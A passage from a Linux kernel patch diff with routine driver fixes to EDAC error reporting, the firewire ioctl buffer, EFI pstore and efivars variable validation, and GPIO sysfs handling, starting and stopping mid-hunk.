*mci) { edac_dbg(3, "\n"); - edac_mc_handle_error(HW_EVENT_ERR_UNCORRECTED, mci, 1, 0, 0, 0, -1, -1, -1, + edac_mc_handle_error(HW_EVENT_ERR_CORRECTED, mci, 1, 0, 0, 0, -1, -1, -1, "e7xxx CE log register overflow", ""); } diff --git a/drivers/edac/edac_mc_sysfs.c b/drivers/edac/edac_mc_sysfs.c index 88cd940ece638..453c816b4537f 100644 --- a/drivers/edac/edac_mc_sysfs.c +++ b/drivers/edac/edac_mc_sysfs.c @@ -973,21 +973,26 @@ int edac_create_debug_nodes(struct mem_ctl_info *mci) */ int edac_create_sysfs_mci_device(struct mem_ctl_info *mci) { + char *name; int i, err; /* * The memory controller needs its own bus, in order to avoid * namespace conflicts at /sys/bus/edac. */ - mci->bus->name = kasprintf(GFP_KERNEL, "mc%d", mci->mc_idx); - if (!mci->bus->name) + name = kasprintf(GFP_KERNEL, "mc%d", mci->mc_idx); + if (!name) return -ENOMEM; + mci->bus->name = name; + edac_dbg(0, "creating bus %s\n", mci->bus->name); err = bus_register(mci->bus); - if (err < 0) + if (err < 0) { + kfree(name); return err; + } /* get the /sys/devices/system/edac subsys reference */ mci->dev.type = &mci_attr_type; @@ -1071,7 +1076,8 @@ int edac_create_sysfs_mci_device(struct mem_ctl_info *mci) fail2: device_unregister(&mci->dev); bus_unregister(mci->bus); - kfree(mci->bus->name); + kfree(name); + return err; } @@ -1102,10 +1108,12 @@ void edac_remove_sysfs_mci_device(struct mem_ctl_info *mci) void edac_unregister_sysfs(struct mem_ctl_info *mci) { + const char *name = mci->bus->name; + edac_dbg(1, "Unregistering device %s\n", dev_name(&mci->dev)); device_unregister(&mci->dev); bus_unregister(mci->bus); - kfree(mci->bus->name); + kfree(name); } static void mc_attr_release(struct device *dev) diff --git a/drivers/edac/i3200_edac.c b/drivers/edac/i3200_edac.c index aa44c1718f503..71b26513b93bc 100644 --- a/drivers/edac/i3200_edac.c +++ b/drivers/edac/i3200_edac.c @@ -242,11 +242,11 @@ static void i3200_process_error_info(struct mem_ctl_info *mci, -1, -1, "i3000 UE", ""); } else if (log & I3200_ECCERRLOG_CE) { - edac_mc_handle_error(HW_EVENT_ERR_UNCORRECTED, mci, 1, + edac_mc_handle_error(HW_EVENT_ERR_CORRECTED, mci, 1, 0, 0, eccerrlog_syndrome(log), eccerrlog_row(channel, log), -1, -1, - "i3000 UE", ""); + "i3000 CE", ""); } } } diff --git a/drivers/edac/i7core_edac.c b/drivers/edac/i7core_edac.c index 271818a5a33a1..c4131a7a2b46d 100644 --- a/drivers/edac/i7core_edac.c +++ b/drivers/edac/i7core_edac.c @@ -1878,7 +1878,7 @@ static int i7core_mce_check_error(struct notifier_block *nb, unsigned long val, i7_dev = get_i7core_dev(mce->socketid); if (!i7_dev) - return NOTIFY_BAD; + return NOTIFY_DONE; mci = i7_dev->mci; pvt = mci->pvt_info; diff --git a/drivers/edac/i82860_edac.c b/drivers/edac/i82860_edac.c index 3e3e431c83011..b93b0d006ebb0 100644 --- a/drivers/edac/i82860_edac.c +++ b/drivers/edac/i82860_edac.c @@ -124,7 +124,7 @@ static int i82860_process_error_info(struct mem_ctl_info *mci, dimm->location[0], dimm->location[1], -1, "i82860 UE", ""); else - edac_mc_handle_error(HW_EVENT_ERR_UNCORRECTED, mci, 1, + edac_mc_handle_error(HW_EVENT_ERR_CORRECTED, mci, 1, info->eap, 0, info->derrsyn, dimm->location[0], dimm->location[1], -1, "i82860 CE", ""); diff --git a/drivers/edac/ppc4xx_edac.c b/drivers/edac/ppc4xx_edac.c index ef6b7e08f4856..5c361f3c66aad 100644 --- a/drivers/edac/ppc4xx_edac.c +++ b/drivers/edac/ppc4xx_edac.c @@ -921,7 +921,7 @@ static int ppc4xx_edac_init_csrows(struct mem_ctl_info *mci, u32 mcopt1) */ for (row = 0; row < mci->nr_csrows; row++) { - struct csrow_info *csi = &mci->csrows[row]; + struct csrow_info *csi = mci->csrows[row]; /* * Get the configuration settings for this diff --git a/drivers/edac/sb_edac.c b/drivers/edac/sb_edac.c index 88f60c5fecbc8..c8a3eba66e5c6 100644 --- a/drivers/edac/sb_edac.c +++ b/drivers/edac/sb_edac.c @@ -270,8 +270,9 @@ static const u32 correrrthrsld[] = { * sbridge structs */ -#define NUM_CHANNELS 4 -#define MAX_DIMMS 3 /* Max DIMMS per channel */ +#define NUM_CHANNELS 4 +#define MAX_DIMMS 3 /* Max DIMMS per channel */ +#define CHANNEL_UNSPECIFIED 0xf /* Intel IA32 SDM 15-14 */ struct sbridge_info { u32 mcmtr; @@ -622,7 +623,7 @@ static void get_memory_layout(const struct mem_ctl_info *mci) u32 reg; u64 limit, prv = 0; u64 tmp_mb; - u32 mb, kb; + u32 gb, mb; u32 rir_way; /* @@ -635,8 +636,9 @@ static void get_memory_layout(const struct mem_ctl_info *mci) pvt->tolm = GET_TOLM(reg); tmp_mb = (1 + pvt->tolm) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); - edac_dbg(0, "TOLM: %u.%03u GB (0x%016Lx)\n", mb, kb, (u64)pvt->tolm); + gb = div_u64_rem(tmp_mb, 1024, &mb); + edac_dbg(0, "TOLM: %u.%03u GB (0x%016Lx)\n", + gb, (mb*1000)/1024, (u64)pvt->tolm); /* Address range is already 45:25 */ pci_read_config_dword(pvt->pci_sad1, TOHM, @@ -644,8 +646,9 @@ static void get_memory_layout(const struct mem_ctl_info *mci) pvt->tohm = GET_TOHM(reg); tmp_mb = (1 + pvt->tohm) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); - edac_dbg(0, "TOHM: %u.%03u GB (0x%016Lx)\n", mb, kb, (u64)pvt->tohm); + gb = div_u64_rem(tmp_mb, 1024, &mb); + edac_dbg(0, "TOHM: %u.%03u GB (0x%016Lx)\n", + gb, (mb*1000)/1024, (u64)pvt->tohm); /* * Step 2) Get SAD range and SAD Interleave list @@ -667,11 +670,11 @@ static void get_memory_layout(const struct mem_ctl_info *mci) break; tmp_mb = (limit + 1) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "SAD#%d %s up to %u.%03u GB (0x%016Lx) Interleave: %s reg=0x%08x\n", n_sads, get_dram_attr(reg), - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, INTERLEAVE_MODE(reg) ? "8:6" : "[8:6]XOR[18:16]", reg); @@ -701,9 +704,9 @@ static void get_memory_layout(const struct mem_ctl_info *mci) break; tmp_mb = (limit + 1) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "TAD#%d: up to %u.%03u GB (0x%016Lx), socket interleave %d, memory interleave %d, TGT: %d, %d, %d, %d, reg=0x%08x\n", - n_tads, mb, kb, + n_tads, gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, (u32)TAD_SOCK(reg), (u32)TAD_CH(reg), @@ -726,10 +729,10 @@ static void get_memory_layout(const struct mem_ctl_info *mci) tad_ch_nilv_offset[j], ®); tmp_mb = TAD_OFFSET(reg) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "TAD CH#%d, offset #%d: %u.%03u GB (0x%016Lx), reg=0x%08x\n", i, j, - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, reg); } @@ -751,10 +754,10 @@ static void get_memory_layout(const struct mem_ctl_info *mci) tmp_mb = RIR_LIMIT(reg) >> 20; rir_way = 1 << RIR_WAY(reg); - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "CH#%d RIR#%d, limit: %u.%03u GB (0x%016Lx), way: %d, reg=0x%08x\n", i, j, - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, rir_way, reg); @@ -765,10 +768,10 @@ static void get_memory_layout(const struct mem_ctl_info *mci) ®); tmp_mb = RIR_OFFSET(reg) << 6; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "CH#%d RIR#%d INTL#%d, offset %u.%03u GB (0x%016Lx), tgt: %d, reg=0x%08x\n", i, j, k, - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, (u32)RIR_RNK_TGT(reg), reg); @@ -805,7 +808,7 @@ static int get_memory_error_data(struct mem_ctl_info *mci, u8 ch_way,sck_way; u32 tad_offset; u32 rir_way; - u32 mb, kb; + u32 mb, gb; u64 ch_addr, offset, limit, prv = 0; @@ -1021,10 +1024,10 @@ static int get_memory_error_data(struct mem_ctl_info *mci, continue; limit = RIR_LIMIT(reg); - mb = div_u64_rem(limit >> 20, 1000, &kb); + gb = div_u64_rem(limit >> 20, 1024, &mb); edac_dbg(0, "RIR#%d, limit: %u.%03u GB (0x%016Lx), way: %d\n", n_rir, - mb, kb, + gb, (mb*1000)/1024, limit, 1 << RIR_WAY(reg)); if (ch_addr <= limit) @@ -1451,6 +1454,9 @@ static void sbridge_mce_output_error(struct mem_ctl_info *mci, /* FIXME: need support for channel mask */ + if (channel == CHANNEL_UNSPECIFIED) + channel = -1; + /* Call the helper to output message */ edac_mc_handle_error(tp_event, mci, core_err_cnt, m->addr >> PAGE_SHIFT, m->addr & ~PAGE_MASK, 0, @@ -1532,7 +1538,7 @@ static int sbridge_mce_check_error(struct notifier_block *nb, unsigned long val, mci = get_mci_for_node_id(mce->socketid); if (!mci) - return NOTIFY_BAD; + return NOTIFY_DONE; pvt = mci->pvt_info; /* diff --git a/drivers/firewire/core-cdev.c b/drivers/firewire/core-cdev.c index ac1b43a042853..4f73c727a97ac 100644 --- a/drivers/firewire/core-cdev.c +++ b/drivers/firewire/core-cdev.c @@ -1637,8 +1637,7 @@ static int dispatch_ioctl(struct client *client, _IOC_SIZE(cmd) > sizeof(buffer)) return -ENOTTY; - if (_IOC_DIR(cmd) == _IOC_READ) - memset(&buffer, 0, _IOC_SIZE(cmd)); + memset(&buffer, 0, sizeof(buffer)); if (_IOC_DIR(cmd) & _IOC_WRITE) if (copy_from_user(&buffer, arg, _IOC_SIZE(cmd))) diff --git a/drivers/firewire/ohci.c b/drivers/firewire/ohci.c index 28603100dc6dd..ff70216e3a8cd 100644 --- a/drivers/firewire/ohci.c +++ b/drivers/firewire/ohci.c @@ -3670,6 +3670,11 @@ static int pci_probe(struct pci_dev *dev, reg_write(ohci, OHCI1394_IsoXmitIntMaskSet, ~0); ohci->it_context_support = reg_read(ohci, OHCI1394_IsoXmitIntMaskSet); + /* JMicron JMB38x often shows 0 at first read, just ignore it */ + if (!ohci->it_context_support) { + ohci_notice(ohci, "overriding IsoXmitIntMask\n"); + ohci->it_context_support = 0xf; + } reg_write(ohci, OHCI1394_IsoXmitIntMaskClear, ~0); ohci->it_context_mask = ohci->it_context_support; ohci->n_it = hweight32(ohci->it_context_mask); diff --git a/drivers/firmware/efi/efi-pstore.c b/drivers/firmware/efi/efi-pstore.c index 202d2c85ba2e7..9b2622e0a07e8 100644 --- a/drivers/firmware/efi/efi-pstore.c +++ b/drivers/firmware/efi/efi-pstore.c @@ -38,6 +38,12 @@ struct pstore_read_data { char **buf; }; +static inline u64 generic_id(unsigned long timestamp, + unsigned int part, int count) +{ + return (timestamp * 100 + part) * 1000 + count; +} + static int efi_pstore_read_func(struct efivar_entry *entry, void *data) { efi_guid_t vendor = LINUX_EFI_CRASH_GUID; @@ -56,7 +62,7 @@ static int efi_pstore_read_func(struct efivar_entry *entry, void *data) if (sscanf(name, "dump-type%u-%u-%d-%lu", cb_data->type, &part, &cnt, &time) == 4) { - *cb_data->id = part; + *cb_data->id = generic_id(time, part, cnt); *cb_data->count = cnt; cb_data->timespec->tv_sec = time; cb_data->timespec->tv_nsec = 0; @@ -67,7 +73,7 @@ static int efi_pstore_read_func(struct efivar_entry *entry, void *data) * which doesn't support holding * multiple logs, remains. */ - *cb_data->id = part; + *cb_data->id = generic_id(time, part, 0); *cb_data->count = 0; cb_data->timespec->tv_sec = time; cb_data->timespec->tv_nsec = 0; @@ -185,14 +191,16 @@ static int efi_pstore_erase(enum pstore_type_id type, u64 id, int count, char name[DUMP_NAME_LEN]; efi_char16_t efi_name[DUMP_NAME_LEN]; int found, i; + unsigned int part; - sprintf(name, "dump-type%u-%u-%d-%lu", type, (unsigned int)id, count, - time.tv_sec); + do_div(id, 1000); + part = do_div(id, 100); + sprintf(name, "dump-type%u-%u-%d-%lu", type, part, count, time.tv_sec); for (i = 0; i < DUMP_NAME_LEN; i++) efi_name[i] = name[i]; - edata.id = id; + edata.id = part; edata.type = type; edata.count = count; edata.time = time; diff --git a/drivers/firmware/efi/efivars.c b/drivers/firmware/efi/efivars.c index 8bd1bb6dbe473..24ae2a694e9bb 100644 --- a/drivers/firmware/efi/efivars.c +++ b/drivers/firmware/efi/efivars.c @@ -219,7 +219,8 @@ efivar_store_raw(struct efivar_entry *entry, const char *buf, size_t count) } if ((new_var->Attributes & ~EFI_VARIABLE_MASK) != 0 || - efivar_validate(new_var, new_var->Data, new_var->DataSize) == false) { + efivar_validate(new_var->VendorGuid, new_var->VariableName, + new_var->Data, new_var->DataSize) == false) { printk(KERN_ERR "efivars: Malformed variable content\n"); return -EINVAL; } @@ -334,7 +335,8 @@ static ssize_t efivar_create(struct file *filp, struct kobject *kobj, return -EACCES; if ((new_var->Attributes & ~EFI_VARIABLE_MASK) != 0 || - efivar_validate(new_var, new_var->Data, new_var->DataSize) == false) { + efivar_validate(new_var->VendorGuid, new_var->VariableName, + new_var->Data, new_var->DataSize) == false) { printk(KERN_ERR "efivars: Malformed variable content\n"); return -EINVAL; } @@ -405,35 +407,27 @@ efivar_create_sysfs_entry(struct efivar_entry *new_var) { int i, short_name_size; char *short_name; - unsigned long variable_name_size; - efi_char16_t *variable_name; - - variable_name = new_var->var.VariableName; - variable_name_size = ucs2_strlen(variable_name) * sizeof(efi_char16_t); + unsigned long utf8_name_size; + efi_char16_t *variable_name = new_var->var.VariableName; /* - * Length of the variable bytes in ASCII, plus the '-' separator, + * Length of the variable bytes in UTF8, plus the '-' separator, * plus the GUID, plus trailing NUL */ - short_name_size = variable_name_size / sizeof(efi_char16_t) - + 1 + EFI_VARIABLE_GUID_LEN + 1; - - short_name = kzalloc(short_name_size, GFP_KERNEL); + utf8_name_size = ucs2_utf8size(variable_name); + short_name_size = utf8_name_size + 1 + EFI_VARIABLE_GUID_LEN + 1; + short_name = kmalloc(short_name_size, GFP_KERNEL); if (!short_name) return 1; - /* Convert Unicode to normal chars (assume top bits are 0), - ala UTF-8 */ - for (i=0; i < (int)(variable_name_size / sizeof(efi_char16_t)); i++) { - short_name[i] = variable_name[i] & 0xFF; - } + ucs2_as_utf8(short_name, variable_name, short_name_size); + /* This is ugly, but necessary to separate one vendor's private variables from another's. */ - - *(short_name + strlen(short_name)) = '-'; + short_name[utf8_name_size] = '-'; efi_guid_unparse(&new_var->var.VendorGuid, - short_name + strlen(short_name)); + short_name + utf8_name_size + 1); new_var->kobj.kset = efivars_kset; diff --git a/drivers/firmware/efi/vars.c b/drivers/firmware/efi/vars.c index 391c67b182d9b..61e7ec5a742c7 100644 --- a/drivers/firmware/efi/vars.c +++ b/drivers/firmware/efi/vars.c @@ -42,7 +42,7 @@ DECLARE_WORK(efivar_work, NULL); EXPORT_SYMBOL_GPL(efivar_work); static bool -validate_device_path(struct efi_variable *var, int match, u8 *buffer, +validate_device_path(efi_char16_t *var_name, int match, u8 *buffer, unsigned long len) { struct efi_generic_dev_path *node; @@ -75,7 +75,7 @@ validate_device_path(struct efi_variable *var, int match, u8 *buffer, } static bool -validate_boot_order(struct efi_variable *var, int match, u8 *buffer, +validate_boot_order(efi_char16_t *var_name, int match, u8 *buffer, unsigned long len) { /* An array of 16-bit integers */ @@ -86,18 +86,18 @@ validate_boot_order(struct efi_variable *var, int match, u8 *buffer, } static bool -validate_load_option(struct efi_variable *var, int match, u8 *buffer, +validate_load_option(efi_char16_t *var_name, int match, u8 *buffer, unsigned long len) { u16 filepathlength; int i, desclength = 0, namelen; - namelen = ucs2_strnlen(var->VariableName, sizeof(var->VariableName)); + namelen = ucs2_strnlen(var_name, EFI_VAR_NAME_LEN); /* Either "Boot" or "Driver" followed by four digits of hex */ for (i = match; i < match+4; i++) { - if (var->VariableName[i] > 127 || - hex_to_bin(var->VariableName[i] & 0xff) < 0) + if (var_name[i] > 127 || + hex_to_bin(var_name[i] & 0xff) < 0) return true; } @@ -132,12 +132,12 @@ validate_load_option(struct efi_variable *var, int match, u8 *buffer, /* * And, finally, check the filepath */ - return validate_device_path(var, match, buffer + desclength + 6, + return validate_device_path(var_name, match, buffer + desclength + 6, filepathlength); } static bool -validate_uint16(struct efi_variable *var, int match, u8 *buffer, +validate_uint16(efi_char16_t *var_name, int match, u8 *buffer, unsigned long len) { /* A single 16-bit integer */ @@ -148,7 +148,7 @@ validate_uint16(struct efi_variable *var, int match, u8 *buffer, } static bool -validate_ascii_string(struct efi_variable *var, int match, u8 *buffer, +validate_ascii_string(efi_char16_t *var_name, int match, u8 *buffer, unsigned long len) { int i; @@ -165,67 +165,148 @@ validate_ascii_string(struct efi_variable *var, int match, u8 *buffer, } struct variable_validate { + efi_guid_t vendor; char *name; - bool (*validate)(struct efi_variable *var, int match, u8 *data, + bool (*validate)(efi_char16_t *var_name, int match, u8 *data, unsigned long len); }; +/* + * This is the list of variables we need to validate, as well as the + * whitelist for what we think is safe not to default to immutable. + * + * If it has a validate() method that's not NULL, it'll go into the + * validation routine. If not, it is assumed valid, but still used for + * whitelisting. + * + * Note that it's sorted by {vendor,name}, but globbed names must come after + * any other name with the same prefix. + */ static const struct variable_validate variable_validate[] = { - { "BootNext", validate_uint16 }, - { "BootOrder", validate_boot_order }, - { "DriverOrder", validate_boot_order }, - { "Boot*", validate_load_option }, - { "Driver*", validate_load_option }, - { "ConIn", validate_device_path }, - { "ConInDev", validate_device_path }, - { "ConOut", validate_device_path }, - { "ConOutDev", validate_device_path }, - { "ErrOut", validate_device_path }, - { "ErrOutDev", validate_device_path }, - { "Timeout", validate_uint16 }, - { "Lang", validate_ascii_string }, - { "PlatformLang", validate_ascii_string }, - { "", NULL }, + { EFI_GLOBAL_VARIABLE_GUID, "BootNext", validate_uint16 }, + { EFI_GLOBAL_VARIABLE_GUID, "BootOrder", validate_boot_order }, + { EFI_GLOBAL_VARIABLE_GUID, "Boot*", validate_load_option }, + { EFI_GLOBAL_VARIABLE_GUID, "DriverOrder", validate_boot_order }, + { EFI_GLOBAL_VARIABLE_GUID, "Driver*", validate_load_option }, + { EFI_GLOBAL_VARIABLE_GUID, "ConIn", validate_device_path }, + { EFI_GLOBAL_VARIABLE_GUID, "ConInDev", validate_device_path }, + { EFI_GLOBAL_VARIABLE_GUID, "ConOut", validate_device_path }, + { EFI_GLOBAL_VARIABLE_GUID, "ConOutDev", validate_device_path }, + { EFI_GLOBAL_VARIABLE_GUID, "ErrOut", validate_device_path }, + { EFI_GLOBAL_VARIABLE_GUID, "ErrOutDev", validate_device_path }, + { EFI_GLOBAL_VARIABLE_GUID, "Lang", validate_ascii_string }, + { EFI_GLOBAL_VARIABLE_GUID, "OsIndications", NULL }, + { EFI_GLOBAL_VARIABLE_GUID, "PlatformLang", validate_ascii_string }, + { EFI_GLOBAL_VARIABLE_GUID, "Timeout", validate_uint16 }, + { LINUX_EFI_CRASH_GUID, "*", NULL }, + { NULL_GUID, "", NULL }, }; +/* + * Check if @var_name matches the pattern given in @match_name. + * + * @var_name: an array of @len non-NUL characters. + * @match_name: a NUL-terminated pattern string, optionally ending in "*". A + * final "*" character matches any trailing characters @var_name, + * including the case when there are none left in @var_name. + * @match: on output, the number of non-wildcard characters in @match_name + * that @var_name matches, regardless of the return value. + * @return: whether @var_name fully matches @match_name. + */ +static bool +variable_matches(const char *var_name, size_t len, const char *match_name, + int *match) +{ + for (*match = 0; ; (*match)++) { + char c = match_name[*match]; + + switch (c) { + case '*': + /* Wildcard in @match_name means we've matched. */ + return true; + + case '\0': + /* @match_name has ended. Has @var_name too? */ + return (*match == len); + + default: + /* + * We've reached a non-wildcard char in @match_name. + * Continue only if there's an identical character in + * @var_name. + */ + if (*match < len && c == var_name[*match]) + continue; + return false; + } + } +} + bool -efivar_validate(struct efi_variable *var, u8 *data, unsigned long len) +efivar_validate(efi_guid_t vendor, efi_char16_t *var_name, u8 *data, + unsigned long data_size) { int i; - u16 *unicode_name = var->VariableName; + unsigned long utf8_size; + u8 *utf8_name; - for (i = 0; variable_validate[i].validate != NULL; i++) { - const char *name = variable_validate[i].name; - int match; + utf8_size = ucs2_utf8size(var_name); + utf8_name = kmalloc(utf8_size + 1, GFP_KERNEL); + if (!utf8_name) + return false; - for (match = 0; ; match++) { - char c = name[match]; - u16 u = unicode_name[match]; + ucs2_as_utf8(utf8_name, var_name, utf8_size); + utf8_name[utf8_size] = '\0'; - /* All special variables are plain ascii */ - if (u > 127) - return true; + for (i = 0; variable_validate[i].name[0] != '\0'; i++) { + const char *name = variable_validate[i].name; + int match = 0; - /* Wildcard in the matching name means we've matched */ - if (c == '*') - return variable_validate[i].validate(var, - match, data, len); + if (efi_guidcmp(vendor, variable_validate[i].vendor)) + continue; - /* Case sensitive match */ - if (c != u) + if (variable_matches(utf8_name, utf8_size+1, name, &match)) { + if (variable_validate[i].validate == NULL) break; - - /* Reached the end of the string while matching */ - if (!c) - return variable_validate[i].validate(var, - match, data, len); + kfree(utf8_name); + return variable_validate[i].validate(var_name, match, + data, data_size); } } - + kfree(utf8_name); return true; } EXPORT_SYMBOL_GPL(efivar_validate); +bool +efivar_variable_is_removable(efi_guid_t vendor, const char *var_name, + size_t len) +{ + int i; + bool found = false; + int match = 0; + + /* + * Check if our variable is in the validated variables list + */ + for (i = 0; variable_validate[i].name[0] != '\0'; i++) { + if (efi_guidcmp(variable_validate[i].vendor, vendor)) + continue; + + if (variable_matches(var_name, len, + variable_validate[i].name, &match)) { + found = true; + break; + } + } + + /* + * If it's in our list, it is removable. + */ + return found; +} +EXPORT_SYMBOL_GPL(efivar_variable_is_removable); + static efi_status_t check_var_size(u32 attributes, unsigned long size) { @@ -481,7 +562,7 @@ EXPORT_SYMBOL_GPL(efivar_entry_remove); */ static void efivar_entry_list_del_unlock(struct efivar_entry *entry) { - WARN_ON(!spin_is_locked(&__efivars->lock)); + lockdep_assert_held(&__efivars->lock); list_del(&entry->list); spin_unlock_irq(&__efivars->lock); @@ -507,7 +588,7 @@ int __efivar_entry_delete(struct efivar_entry *entry) const struct efivar_operations *ops = __efivars->ops; efi_status_t status; - WARN_ON(!spin_is_locked(&__efivars->lock)); + lockdep_assert_held(&__efivars->lock); status = ops->set_variable(entry->var.VariableName, &entry->var.VendorGuid, @@ -667,7 +748,7 @@ struct efivar_entry *efivar_entry_find(efi_char16_t *name, efi_guid_t guid, int strsize1, strsize2; bool found = false; - WARN_ON(!spin_is_locked(&__efivars->lock)); + lockdep_assert_held(&__efivars->lock); list_for_each_entry_safe(entry, n, head, list) { strsize1 = ucs2_strsize(name, 1024); @@ -731,7 +812,7 @@ int __efivar_entry_get(struct efivar_entry *entry, u32 *attributes, const struct efivar_operations *ops = __efivars->ops; efi_status_t status; - WARN_ON(!spin_is_locked(&__efivars->lock)); + lockdep_assert_held(&__efivars->lock); status = ops->get_variable(entry->var.VariableName, &entry->var.VendorGuid, @@ -797,7 +878,7 @@ int efivar_entry_set_get_size(struct efivar_entry *entry, u32 attributes, *set = false; - if (efivar_validate(&entry->var, data, *size) == false) + if (efivar_validate(*vendor, name, data, *size) == false) return -EINVAL; /* diff --git a/drivers/gpio/gpio-pca953x.c b/drivers/gpio/gpio-pca953x.c index 426c51dd420c6..ac11e455aea57 100644 --- a/drivers/gpio/gpio-pca953x.c +++ b/drivers/gpio/gpio-pca953x.c @@ -75,7 +75,7 @@ MODULE_DEVICE_TABLE(i2c, pca953x_id); #define MAX_BANK 5 #define BANK_SZ 8 -#define NBANK(chip) (chip->gpio_chip.ngpio / BANK_SZ) +#define NBANK(chip) DIV_ROUND_UP(chip->gpio_chip.ngpio, BANK_SZ) struct pca953x_chip { unsigned gpio_start; diff --git a/drivers/gpio/gpio-tps65912.c b/drivers/gpio/gpio-tps65912.c index 30a5844a7dca2..8457304699454 100644 --- a/drivers/gpio/gpio-tps65912.c +++ b/drivers/gpio/gpio-tps65912.c @@ -26,9 +26,12 @@ struct tps65912_gpio_data { struct gpio_chip gpio_chip; }; +#define to_tgd(gc) container_of(gc, struct tps65912_gpio_data, gpio_chip) + static int tps65912_gpio_get(struct gpio_chip *gc, unsigned offset) { - struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); + struct tps65912_gpio_data *tps65912_gpio = to_tgd(gc); + struct tps65912 *tps65912 = tps65912_gpio->tps65912; int val; val = tps65912_reg_read(tps65912, TPS65912_GPIO1 + offset); @@ -42,7 +45,8 @@ static int tps65912_gpio_get(struct gpio_chip *gc, unsigned offset) static void tps65912_gpio_set(struct gpio_chip *gc, unsigned offset, int value) { - struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); + struct tps65912_gpio_data *tps65912_gpio = to_tgd(gc); + struct tps65912 *tps65912 = tps65912_gpio->tps65912; if (value) tps65912_set_bits(tps65912, TPS65912_GPIO1 + offset, @@ -55,7 +59,8 @@ static void tps65912_gpio_set(struct gpio_chip *gc, unsigned offset, static int tps65912_gpio_output(struct gpio_chip *gc, unsigned offset, int value) { - struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); + struct tps65912_gpio_data *tps65912_gpio = to_tgd(gc); + struct tps65912 *tps65912 = tps65912_gpio->tps65912; /* Set the initial value */ tps65912_gpio_set(gc, offset, value); @@ -66,7 +71,8 @@ static int tps65912_gpio_output(struct gpio_chip *gc, unsigned offset, static int tps65912_gpio_input(struct gpio_chip *gc, unsigned offset) { - struct tps65912 *tps65912 = container_of(gc, struct tps65912, gpio); + struct tps65912_gpio_data *tps65912_gpio = to_tgd(gc); + struct tps65912 *tps65912 = tps65912_gpio->tps65912; return tps65912_clear_bits(tps65912, TPS65912_GPIO1 + offset, GPIO_CFG_MASK); diff --git a/drivers/gpio/gpiolib-of.c b/drivers/gpio/gpiolib-of.c index 6d06576c5b145..bc32114d6df9f 100644 --- a/drivers/gpio/gpiolib-of.c +++ b/drivers/gpio/gpiolib-of.c @@ -12,6 +12,7 @@ */ #include +#include #include #include #include @@ -43,8 +44,14 @@ static int of_gpiochip_find_and_xlate(struct gpio_chip *gc, void *data) return false; ret = gc->of_xlate(gc, &gg_data->gpiospec, gg_data->flags); - if (ret < 0) - return false; + if (ret < 0) { + /* We've found the gpio chip, but the translation failed. + * Return true to stop looking and return the translation + * error via out_gpio + */ + gg_data->out_gpio = ret; + return true; + } gg_data->out_gpio = ret + gc->base; return true; diff --git a/drivers/gpio/gpiolib.c b/drivers/gpio/gpiolib.c index a35c5b932eba6..9002122c52aeb 100644 --- a/drivers/gpio/gpiolib.c +++ b/drivers/gpio/gpiolib.c @@ -362,7 +362,7 @@ static ssize_t gpio_value_store(struct device *dev, return status; } -static const DEVICE_ATTR(value, 0644, +static DEVICE_ATTR(value, 0644, gpio_value_show, gpio_value_store); static irqreturn_t gpio_sysfs_irq(int irq, void *priv) @@ -580,17 +580,17 @@ static ssize_t gpio_active_low_store(struct device *dev, return status ? : size; } -static const DEVICE_ATTR(active_low, 0644, +static DEVICE_ATTR(active_low, 0644, gpio_active_low_show, gpio_active_low_store); -static const struct attribute *gpio_attrs[] = { +static struct attribute *gpio_attrs[] = { &dev_attr_value.attr, &dev_attr_active_low.attr, NULL, }; static const struct attribute_group gpio_attr_group = { - .attrs = (struct attribute **) gpio_attrs, + .attrs = gpio_attrs, }; /* @@ -627,7 +627,7 @@ static ssize_t chip_ngpio_show(struct device *dev, } static DEVICE_ATTR(ngpio, 0444, chip_ngpio_show, NULL); -static const struct attribute *gpiochip_attrs[] = { +static struct attribute *gpiochip_attrs[] = { &dev_attr_base.attr, &dev_attr_label.attr, &dev_attr_ngpio.attr, @@ -635,7 +635,7 @@ static const struct attribute *gpiochip_attrs[] = { }; static const struct attribute_group gpiochip_attr_group = { - .attrs = (struct attribute **) gpiochip_attrs, + .attrs = gpiochip_attrs, }; /* @@ -752,6 +752,7 @@ static struct class gpio_class = { */ static int gpiod_export(struct gpio_desc *desc, bool direction_may_change) { + struct gpio_chip *chip; unsigned long flags; int status; const char *ioname = NULL; @@ -769,8 +770,16 @@ static int gpiod_export(struct gpio_desc *desc, bool direction_may_change) return -EINVAL; } + chip = desc->chip; + mutex_lock(&sysfs_lock); + /* check if chip is being removed */ + if (!chip || !chip->exported) { + status = -ENODEV; + goto fail_unlock; + } + spin_lock_irqsave(&gpio_lock, flags); if (!test_bit(FLAG_REQUESTED, &desc->flags) || test_bit(FLAG_EXPORT, &desc->flags)) { @@ -806,20 +815,24 @@ static int gpiod_export(struct gpio_desc *desc, bool direction_may_change) if (direction_may_change) { status = device_create_file(dev, &dev_attr_direction); if (status) - goto fail_unregister_device; + goto fail_remove_attr_group; } if (gpiod_to_irq(desc) >= 0 && (direction_may_change || !test_bit(FLAG_IS_OUT, &desc->flags))) { status = device_create_file(dev, &dev_attr_edge); if (status) - goto fail_unregister_device; + goto fail_remove_attr_direction; } set_bit(FLAG_EXPORT, &desc->flags); mutex_unlock(&sysfs_lock); return 0; +fail_remove_attr_direction: + device_remove_file(dev, &dev_attr_direction); +fail_remove_attr_group: + sysfs_remove_group(&dev->kobj, &gpio_attr_group); fail_unregister_device: device_unregister(dev); fail_unlock: @@ -870,6 +883,7 @@ static int 